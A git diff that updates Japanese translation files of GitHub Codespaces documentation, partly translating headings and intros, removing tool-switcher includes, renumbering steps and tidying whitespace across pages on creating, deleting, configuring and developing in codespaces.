diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
index 9debd30369..08866ab5ee 100644
--- a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
@@ -20,7 +20,4 @@ If you want to use {% data variables.product.prodname_vscode %} as your default
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Editor preference", select the option you want.
-   ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png)
-   If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.
-   ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png)
+1. Under "Editor preference", select the option you want. ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png) If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully. ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png)
diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
index cf9127a3d0..507493e27d 100644
--- a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
@@ -19,5 +19,4 @@ You can manually select the region that your codespaces will be created in, allo
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
 1. Under "Region", select the setting you want.
-2. If you chose "Set manually", select your region in the drop-down list.
-   ![Selecting your region](/assets/images/help/codespaces/select-default-region.png)
+2. If you chose "Set manually", select your region in the drop-down list. ![Selecting your region](/assets/images/help/codespaces/select-default-region.png)
diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
index 6df3c42808..b839342db2 100644
--- a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
@@ -18,16 +18,13 @@ A codespace will stop running after a period of inactivity. You can specify the
 
 {% endwarning %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 ## Setting your default timeout
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours).
-   ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
+1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours). ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
 
 {% endwebui %}
 
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
index fc9df54ea7..b526c31462 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md
@@ -15,13 +15,13 @@ product: '{% data reusables.gated-features.codespaces %}'
 
 The lifecycle of a codespace begins when you create a codespace and ends when you delete it. You can disconnect and reconnect to an active codespace without affecting its running processes. You may stop and restart a codespace without losing changes that you have made to your project.
 
-## Creating a codespace
+## codespace を作成する
 
 When you want to work on a project, you can choose to create a new codespace or open an existing codespace. You might want to create a new codespace from a branch of your project each time you develop in {% data variables.product.prodname_codespaces %} or keep a long-running codespace for a feature.
 
-If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. You can have up to 10 codespaces at a time. Once you have 10 codespaces, you must delete a codespace before you can create a new one. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
+If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. You can have up to 10 codespaces at a time. Once you have 10 codespaces, you must delete a codespace before you can create a new one. 詳しい情報については、「[codespace を作成する](/codespaces/developing-in-codespaces/creating-a-codespace)」を参照してください。
 
-If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine. 
+If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine.
 
 ## Saving changes in a codespace
 
@@ -37,7 +37,7 @@ If you leave your codespace running without interaction, or if you exit your cod
 
 When a codespace times out, your data is preserved from the last time your changes were saved. For more information, see "[Saving changes in a codespace](#saving-changes-in-a-codespace)."
 
-## Rebuilding a codespace
+## Codespace を再構築する
 
 You can rebuild your codespace to restore a clean state as if you had created a new codespace. For most uses, you can create a new codespace as an alternative to rebuilding a codespace. You are most likely to rebuild a codespace to implement changes to your dev container. When you rebuild a codespace, any Docker containers, images, volumes, and caches are cleaned, then the codespace is rebuilt.
 
@@ -65,7 +65,7 @@ Only running codespaces incur CPU charges; a stopped codespace incurs only stora
 
 You may want to stop and restart a codespace to apply changes to it. For example, if you change the machine type used for your codespace, you will need to stop and restart it for the change to take effect. You can also stop your codespace and choose to restart or delete it if you encounter an error or something unexpected. For more information, see "[Suspending or stopping a codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)."
 
-## Deleting a codespace
+## codespace を削除する
 
 You can create a codespace for a particular task and then safely delete the codespace after you push your changes to a remote branch.
 
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md
index ec200503de..9fd9da6552 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a codespace
-intro: You can create a codespace for a branch in a repository to develop online.
+title: codespace を作成する
+intro: リポジトリのブランチの codespace を作成して、オンラインで開発できます。
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: '{% data reusables.codespaces.availability %}'
 redirect_from:
@@ -17,11 +17,11 @@ topics:
 shortTitle: Create a codespace
 ---
 
-## About codespace creation
+## codespace の作成について
 
 You can create a codespace on {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %}
 
-Codespaces are associated with a specific branch of a repository and the repository cannot be empty. {% data reusables.codespaces.concurrent-codespace-limit %} For more information, see "[Deleting a codespace](/github/developing-online-with-codespaces/deleting-a-codespace)."
+Codespaces はリポジトリの特定のブランチに関連付けられており、リポジトリを空にすることはできません。 {% data reusables.codespaces.concurrent-codespace-limit %}詳しい情報については、「[codespace を削除する](/github/developing-online-with-codespaces/deleting-a-codespace)」を参照してください。
 
 
 When you create a codespace, a number of steps happen to create and connect you to your development environment:
@@ -63,39 +63,40 @@ Organization owners can allow all members of the organization to create codespac
 
 Before {% data variables.product.prodname_codespaces %} can be used in an organization, an owner or billing manager must have set a spending limit. For more information, see "[About spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)."
 
-If you would like to create a codespace for a repository owned by your personal account or another user, and you have permission to create repositories in an organization that has enabled {% data variables.product.prodname_codespaces %}, you can fork user-owned repositories to that organization and then create a codespace for the fork. 
+If you would like to create a codespace for a repository owned by your personal account or another user, and you have permission to create repositories in an organization that has enabled {% data variables.product.prodname_codespaces %}, you can fork user-owned repositories to that organization and then create a codespace for the fork.
 
-## Creating a codespace
+## codespace を作成する
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Under the repository name, use the "Branch" drop-down menu, and select the branch you want to create a codespace for.
+2. リポジトリ名の下で、[Branch] ドロップダウンメニューを使用して、codespace を作成するブランチを選択します。
 
-   ![Branch drop-down menu](/assets/images/help/codespaces/branch-drop-down.png)
+   ![[Branch] ドロップダウンメニュー](/assets/images/help/codespaces/branch-drop-down.png)
 
 3. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-   ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+   ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png)
 
-   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**.
-     ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog box, choose a machine type and then click **Create codespace**.
+
+   ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.creating-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 {% cli %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a new codespace, use the `gh codespace create` subcommand. 
+To create a new codespace, use the `gh codespace create` subcommand.
 
 ```shell
 gh codespace create 
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
index 1eb32e030f..99cc389a24 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
@@ -1,6 +1,6 @@
 ---
 title: Default environment variables for your codespace
-shortTitle: Default environment variables
+shortTitle: デフォルトの環境変数
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: '{% data reusables.codespaces.availability %}'
 intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each codespace.'
@@ -26,15 +26,15 @@ topics:
 
 ## List of default environment variables
 
-| Environment variable | Description |
-| ---------------------|------------ |
-| `CODESPACE_NAME` | The name of the codespace For example, `monalisa-github-hello-world-2f2fsdf2e` |
-| `CODESPACES` | Always `true` while in a codespace |
-| `GIT_COMMITTER_EMAIL` | The email for the "author" field of future `git` commits. |
-| `GIT_COMMITTER_NAME` | The name for the "committer" field of future `git` commits. |
-| `GITHUB_API_URL` | Returns the API URL. For example, `{% data variables.product.api_url_code %}`. |
-| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example, `{% data variables.product.graphql_url_code %}`. |
-| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. |
-| `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.product_name %} server. For example, `https://{% data variables.product.product_url %}`. |
-| `GITHUB_TOKEN` | A signed auth token representing the user in the codespace. You can use this to make authenticated calls to the GitHub API. For more information, see "[Authentication](/codespaces/codespaces-reference/security-in-codespaces#authentication)."  |
-| `GITHUB_USER` | The name of the user that initiated the codespace. For example, `octocat`. |
\ No newline at end of file
+| 環境変数                  | 説明                                                                                                                                                                                                                                                |
+| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `CODESPACE_NAME`      | The name of the codespace For example, `monalisa-github-hello-world-2f2fsdf2e`                                                                                                                                                                    |
+| `CODESPACES`          | Always `true` while in a codespace                                                                                                                                                                                                                |
+| `GIT_COMMITTER_EMAIL` | The email for the "author" field of future `git` commits.                                                                                                                                                                                         |
+| `GIT_COMMITTER_NAME`  | The name for the "committer" field of future `git` commits.                                                                                                                                                                                       |
+| `GITHUB_API_URL`      | API URL を返します。 For example, `{% data variables.product.api_url_code %}`.                                                                                                                                                                          |
+| `GITHUB_GRAPHQL_URL`  | グラフ QL API の URL を返します。 For example, `{% data variables.product.graphql_url_code %}`.                                                                                                                                                             |
+| `GITHUB_REPOSITORY`   | 所有者およびリポジトリの名前。 `octocat/Hello-World`などです。                                                                                                                                                                                                        |
+| `GITHUB_SERVER_URL`   | {% data variables.product.product_name %} サーバーの URL を返します。 For example, `https://{% data variables.product.product_url %}`.                                                                                                                       |
+| `GITHUB_TOKEN`        | A signed auth token representing the user in the codespace. You can use this to make authenticated calls to the GitHub API. For more information, see "[Authentication](/codespaces/codespaces-reference/security-in-codespaces#authentication)." |
+| `GITHUB_USER`         | The name of the user that initiated the codespace. `octocat`などです。                                                                                                                                                                                 |
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
index 1ceef28360..446a0abae6 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a codespace
-intro: You can delete a codespace you no longer need.
+title: codespace を削除する
+intro: 不要になった codespace を削除することができます。
 product: '{% data reusables.gated-features.codespaces %}'
 redirect_from:
   - /github/developing-online-with-github-codespaces/deleting-a-codespace
@@ -16,34 +16,33 @@ topics:
 shortTitle: Delete a codespace
 ---
 
- 
+
 
 {% data reusables.codespaces.concurrent-codespace-limit %}
 
 {% note %}
 
-**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization.
+**注釈:** codespace を作成したユーザだけが削除できます。 現在、Organization のオーナーが Organization 内で作成された Codespaces を削除する方法はありません。
 
 {% endnote %}
 
-{% include tool-switcher %}
-   
+
 {% webui %}
 
 1. Navigate to the "Your Codespaces" page at [github.com/codespaces](https://github.com/codespaces).
 
-2. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete**
+2. 削除する codespace の右側で {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックし、**{% octicon "trash" aria-label="The trash icon" %} [Delete]** をクリックします。
 
-   ![Delete button](/assets/images/help/codespaces/delete-codespace.png)
+   ![削除ボタン](/assets/images/help/codespaces/delete-codespace.png)
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.deleting-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 
 {% cli %}
 
@@ -61,5 +60,5 @@ For more information about this command, see [the {% data variables.product.prod
 
 {% endcli %}
 
-## Further reading
+## 参考リンク
 - [Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
index a985c3a36c..7f7addf27b 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Developing in a codespace
-intro: 'You can open a codespace on {% data variables.product.product_name %}, then develop using {% data variables.product.prodname_vscode %}''s features.'
+title: codespace で開発する
+intro: '{% data variables.product.product_name %} で codespace を開き、{% data variables.product.prodname_vscode %} の機能を使用して開発できます。'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'You can develop in codespaces you''ve created for repositories owned by organizations using {% data variables.product.prodname_team %} and {% data variables.product.prodname_ghe_cloud %}.'
 redirect_from:
@@ -21,45 +21,44 @@ shortTitle: Develop in a codespace
 
 ## About development with {% data variables.product.prodname_codespaces %}
 
-{% data variables.product.prodname_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
+{% data variables.product.prodname_codespaces %} は、{% data variables.product.prodname_vscode %} の完全な開発体験を提供します。 {% data reusables.codespaces.use-visual-studio-features %}
 
 {% data reusables.codespaces.links-to-get-started %}
 
-![Codespace overview with annotations](/assets/images/help/codespaces/codespace-overview-annotated.png)
+![codespace の概要(注釈付き)](/assets/images/help/codespaces/codespace-overview-annotated.png)
 
-1. Side Bar - By default, this area shows your project files in the Explorer.
-2. Activity Bar - This displays the Views and provides you with a way to switch between them. You can reorder the Views by dragging and dropping them.
-3. Editor - This is where you edit your files. You can use the tab for each editor to position it exactly where you need it.
-4. Panels - This is where you can see output and debug information, as well as the default place for the integrated Terminal.
-5. Status Bar - This area provides you with useful information about your codespace and project. For example, the branch name, configured ports, and more.
+1. サイドバー: デフォルト設定では、このエリアには Explorer でプロジェクトファイルが表示されます。
+2. アクティビティバー: ビューが表示され、それらを切り替える方法が提供されます。 ビューはドラッグアンドドロップで並べ替えることができます。
+3. エディタ: ファイルを編集できます。 各エディタのタブを使用して、必要な場所に正確に配置できます。
+4. パネル: 出力とデバッグ情報、および統合ターミナルのデフォルトの場所を確認できます。
+5. ステータスバー: このエリアには、codespace とプロジェクトに関する有用な情報が表示されます。 たとえば、ブランチ名、設定されたポートなどです。
 
-For more information on using {% data variables.product.prodname_vscode %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode %} documentation.
+{% data variables.product.prodname_vscode %} の使用の詳細については、{% data variables.product.prodname_vscode %} ドキュメントの[ユーザインターフェースガイド](https://code.visualstudio.com/docs/getstarted/userinterface)を参照してください。
 
 {% data reusables.codespaces.connect-to-codespace-from-vscode %}
 
 {% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-codespaces-clients)."
 
-### Personalizing your codespace
+### Codespace をパーソナライズする
 
-{% data reusables.codespaces.about-personalization %} For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)."
+{% data reusables.codespaces.about-personalization %} 詳しい情報については、「[アカウントの {% data variables.product.prodname_codespaces %} をパーソナライズする](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)」を参照してください。
 
-{% data reusables.codespaces.apply-devcontainer-changes %} For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)."
+{% data reusables.codespaces.apply-devcontainer-changes %}詳しい情報については、「[プロジェクトの {% data variables.product.prodname_codespaces %} を設定する](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)」を参照してください。
 
-### Running your app from a codespace
+### Codespace からアプリケーションを実行する
 {% data reusables.codespaces.about-port-forwarding %} For more information, see "[Forwarding ports in your codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)."
 
-### Committing your changes
+### 変更をコミットする
 
-{% data reusables.codespaces.committing-link-to-procedure %} 
+{% data reusables.codespaces.committing-link-to-procedure %}
 
 ### Using the {% data variables.product.prodname_vscode_command_palette %}
 
 The {% data variables.product.prodname_vscode_command_palette %} allows you to access and manage many features for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_vscode %}. For more information, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)."
 
-## Navigating to an existing codespace
+## 既存の codespace に移動する
 
 1. {% data reusables.codespaces.you-can-see-all-your-codespaces %}
-2. Click the name of the codespace you want to develop in.
-  ![Name of codespace](/assets/images/help/codespaces/click-name-codespace.png)
+2. 開発する codespace の名前をクリックします。 ![codespace の名前](/assets/images/help/codespaces/click-name-codespace.png)
 
 Alternatively, you can see any active codespaces for a repository by navigating to that repository and selecting **{% octicon "code" aria-label="The code icon" %} Code**. The drop-down menu will display all active codespaces for a repository.
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
index 4dd61e7471..8a2e3d95b9 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
@@ -29,8 +29,6 @@ You can also forward a port manually, label forwarded ports, share forwarded por
 
 You can manually forward a port that wasn't forwarded automatically.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -73,7 +71,7 @@ By default, {% data variables.product.prodname_codespaces %} forwards ports usin
 To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports forward <em>codespace-port</em>:<em>local-port</em> 
+gh codespace ports forward <em>codespace-port</em>:<em>local-port</em>
 ```
 
 For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward).
@@ -92,8 +90,6 @@ To see details of forwarded ports enter `gh codespace ports` and then choose a c
 
 If you want to share a forwarded port with others, you can either make the port private to your organization or make the port public. After you make a port private to your organization, anyone in the organization with the port's URL can view the running application. After you make a port public, anyone who knows the URL and port number can view the running application without needing to authenticate.
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -119,7 +115,7 @@ To change the visibility of a forwarded port, use the `gh codespace ports visibi
 Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports visibility <em>codespace-port</em>:<em>setting</em> 
+gh codespace ports visibility <em>codespace-port</em>:<em>setting</em>
 ```
 
 You can set the visibility for multiple ports with one command. 例:
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/index.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/index.md
index 64e671622b..1754cc0c90 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/index.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/index.md
@@ -1,6 +1,6 @@
 ---
-title: Developing in a codespace
-intro: 'Create a codespace to get started with developing your project inside a dedicated cloud environment. You can use forwarded ports to run your application and even use codespaces inside {% data variables.product.prodname_vscode %}'
+title: codespace で開発する
+intro: '専用のクラウド環境でプロジェクト開発を開始するための codespace を作成します。 転送されたポートを使用してアプリケーションを実行したり、{% data variables.product.prodname_vscode %} 内の Codespaces を使用したりすることもできます。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -20,4 +20,4 @@ children:
   - /using-codespaces-in-visual-studio-code
   - /using-codespaces-with-github-cli
 ---
- 
+
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
index 2f9f4c0cdc..ee8bb91c2e 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
@@ -36,28 +36,28 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 {% mac %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
 
-3. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-4. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endmac %}
 
 {% windows %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
+1. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
 
    ![The {% data variables.product.prodname_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png)
 
-3. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
 
-4. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-5. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endwindows %}
 
@@ -68,8 +68,8 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 ## Opening a codespace in {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Under "Codespaces", click the codespace you want to develop in.
-3. Click the Connect to Codespace icon.
+1. Under "Codespaces", click the codespace you want to develop in.
+1. Click the Connect to Codespace icon.
 
    ![The Connect to Codespace icon in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png)
 
@@ -80,17 +80,23 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 You can change the machine type of your codespace at any time.
 
 1. In {% data variables.product.prodname_vscode %}, open the Command Palette (`shift command P` / `shift control P`).
-2. Search for and select "Codespaces: Change Machine Type."
+1. Search for and select "Codespaces: Change Machine Type."
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png)
 
-3. Click the codespace that you want to change.
+1. Click the codespace that you want to change.
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png)
 
-4. Choose the machine type you want to use. 
+1. Choose the machine type you want to use. 
 
-If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now. Click **Yes** if you want to change the machine type used for this codespace immediately. If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+1. If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now.
+
+   Click **Yes** if you want to change the machine type used for this codespace immediately.
+   
+   If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
 
 ## Deleting a codespace in {% data variables.product.prodname_vscode %}
 
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
index 5619b672e2..35bddab124 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
@@ -153,7 +153,7 @@ For more information about the `gh codespace cp` command, including additional f
 
 ### Modify ports in a codespace
 
-You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>control</kbd>+<kbd>c</kbd>.
+You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>Control</kbd>+<kbd>C</kbd>.
 
 ```shell
 gh codespace ports forward <em>codespace-port-number</em>:<em>local-port-number</em> -c <em>codespace-name</em>
diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
index 9840e7b32f..b78c5aa9de 100644
--- a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
+++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Using source control in your codespace
-intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository.
+title: Codespace でソースコントロールを使用する
+intro: Codespace 内のファイルに変更を加えた後、変更をすばやくコミットして、更新をリモートリポジトリにプッシュできます。
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -10,73 +10,68 @@ topics:
   - Codespaces
   - Fundamentals
   - Developer
-shortTitle: Source control
+shortTitle: ソースコントロール
 ---
 
  
 
-## About source control in {% data variables.product.prodname_codespaces %}
+## {% data variables.product.prodname_codespaces %} のソースコントロールについて
 
-You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from the remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control.
